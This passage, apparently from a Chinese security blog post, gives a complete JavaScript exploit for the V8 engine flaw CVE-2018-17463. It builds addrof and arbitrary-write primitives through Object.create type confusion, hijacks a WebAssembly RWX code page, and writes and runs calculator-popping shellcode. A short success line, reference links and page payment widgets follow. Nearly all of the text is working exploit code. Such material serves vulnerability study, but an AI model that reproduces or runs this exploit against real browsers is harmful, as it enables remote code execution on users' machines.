    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");
        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);
        return res;
    };
    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };
    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };
    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };
    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.
    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }
    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);
        return this.assignAdd(this, Int64.One);
    }, 1);
    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
function utf8ToString(h, p) {
  let s = "";
  for (i = p; h[i]; i++) {
    s += String.fromCharCode(h[i]);
  }
  return s;
}
function log(x,y = ' '){
    console.log("[+] log:", x,y);   
}

let OPTIMIZATION_NUM = 10000;
let OBJ_LEN = 0x20;
let X;
let Y;
// use a obj to check whether CVE-2018-17463 exists

function check_vul(){
    function bad_create(x){
        x.a;
        Object.create(x);
        return x.b;

    }

    for (let i = 0;i < OPTIMIZATION_NUM; i++){
        let x = {a : 0x1234};
        x.b = 0x5678; 
        let res = bad_create(x);
        //log(res);
        if( res != 0x5678){
            log("CVE-2018-17463 exists in the d8");
            return;
        }

    }
    throw "bad d8 version";

}


// check collision between directory mode and fast mode

function getOBJ(){
    let res = {a:0x1234};
    for (let i = 0; i< OBJ_LEN;i++){
        eval(`res.${'b'+i} = -${0x4869 + i};
        `);        
    }
    return res;
}
function printOBJ(x){
    for(let i = 0;i<OBJ_LEN;i++){
        eval(`console.log("log:["+${i}+"] :"+x.${'b'+i})`);
        //console.log('['+i+']'+x[i]);
    }
}
function findCollision(){
    let find_obj = [];
    for (let i = 0;i<OBJ_LEN;i++){
        find_obj[i] = 'b'+i;
    }
    eval(`
        function bad_create(x){
            x.a;
            this.Object.create(x);
            ${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')}
            return [${find_obj.join(', ')}];
        }
    `);
    for (let i = 0; i<OPTIMIZATION_NUM;i++){
        let tmp = bad_create(getOBJ());
        for (let j = 0 ;j<tmp.length;j++){
            if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){
                log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");
                return ['b'+j , 'b' + -(tmp[j]+0x4869)];
            }
        }
    }
    throw "not found collision ";
}

// create primitive -> addrof
function getOBJ4addr(obj){
    let res = {a:0x1234};
    for (let i = 0; i< OBJ_LEN;i++){
        if (('b'+i)!= X &&('b'+i)!= Y  ){
        eval(`res.${'b'+i} = 1.1;
        `);        }
        if (('b'+i)== X){
            eval(`
                res.${X} = {x1:1.1,x2:1.2};
                `);            
        }
        if (('b'+i)== Y){
            eval(`
                res.${Y} = {y1:obj};
                `);            
        }        
    }
    return res;
}
function addrof(obj){
    eval(`
        function bad_create(o){
            o.a;
            this.Object.create(o);
            return o.${X}.x1;
        }
    `);

    for (let i = 0;i < OPTIMIZATION_NUM;i++){ 
        let ret = bad_create( getOBJ4addr(obj));
         let tmp =Int64.fromDouble(ret).toString();
        if (ret!= 1.1){
            log(tmp);
            return ret; 
        }
    }
    throw "not found addrof obj";

}

// create primitive -> Arbitrary write
function getOBJ4read(obj){
    let res = {a:0x1234};
    for (let i = 0; i< OBJ_LEN;i++){
        if (('b'+i)!= X &&('b'+i)!= Y  ){
        eval(`res.${'b'+i} = {};
        `);        }
        if (('b'+i)== X){
            eval(`
                res.${X} = {x0:{x1:1.1,x2:1.2}};
                `);            
        }
        if (('b'+i)== Y){
            eval(`
                res.${Y} = {y1:obj};
                `);            
        }        
    }
    return res;
}
function arbitraryWrite(obj,addr){
    eval(`
        function bad_create(o,value){
            o.a;
            this.Object.create(o);
            let ret = o.${X}.x0.x2;
             o.${X}.x0.x2 = value;
            return ret;
        }
    `);

    for (let i = 0;i < OPTIMIZATION_NUM;i++){ 
        let ret = bad_create( getOBJ4read(obj),addr);
        let tmp =Int64.fromDouble(ret).toString();
        if (ret!= 1.2){
            return ;
        }
    }
    throw "not found arbitraryWrite";

}

// exploit

function exploit(){
    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);
    var wasmImports = {
      env: {
        puts: function puts (index) {
          console.log(utf8ToString(h, index));
        }
      }
    };
    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
    let h = new Uint8Array(m.exports.memory.buffer);
    let f = m.exports.p4nda;
    console.log("step 0: Game start");
    f();
    console.log("step 1: check whether vulnerability exists");
    check_vul();
    console.log("step 2: find collision");
    [X,Y] = findCollision();

    let mem = new ArrayBuffer(1024); 
    give_me_a_clean_newspace();
    console.log("step 3: get address of JSFunciton");
    let addr = addrof(f);
    console.log("step 4: make ArrayBuffer's backing_store -> JSFunciton");
    arbitraryWrite(mem,addr);
    let dv = new DataView(mem);
    SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true));
    console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr);
    console.log("step 5: make ArrayBuffer's backing_store ->  SharedFunctionInfo");
    arbitraryWrite(mem,SharedFunctionInfo_addr.asDouble());
    WasmExportedFunctionData_addr =  Int64.fromDouble(dv.getFloat64(0x7,true));
    console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr);
    console.log("step 6: make ArrayBuffer's backing_store ->  WasmExportedFunctionData");
    arbitraryWrite(mem,WasmExportedFunctionData_addr.asDouble());
    WasmInstanceObject_addr =  Int64.fromDouble(dv.getFloat64(0xf,true));
    console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr);
    console.log("step 7: make ArrayBuffer's backing_store ->  WasmInstanceObject");
    arbitraryWrite(mem,WasmInstanceObject_addr.asDouble());
    imported_function_targets_addr =  Int64.fromDouble(dv.getFloat64(0xc7,true));
    console.log("[+] imported_function_targets addr :"+imported_function_targets_addr);
    console.log("step 8: make ArrayBuffer's backing_store ->  imported_function_targets");
    arbitraryWrite(mem,imported_function_targets_addr.asDouble());
    code_addr =  Int64.fromDouble(dv.getFloat64(0,true));
    console.log("[+] code addr :"+code_addr);
    log("step 9: make ArrayBuffer's backing_store ->  rwx_area");
    arbitraryWrite(mem,code_addr.asDouble());
    console.log("step 10: write shellcode for poping up a calculator");
    let shellcode_calc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
    let write_tmp = new Uint8Array(mem);
    write_tmp.set(shellcode_calc);
    console.log("[+] Press Any key to execute Shellcode");
    readline();
    f();

}

exploit();

 成功弹出计算器

参考博客

(*´∇`*) 天亮了~ Google V8引擎的CVE-2018-17463漏洞分析 | p4nda's blog

通过一个CVE零基础入门V8-pwn-安全客 - 安全资讯平台 (anquanke.com)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值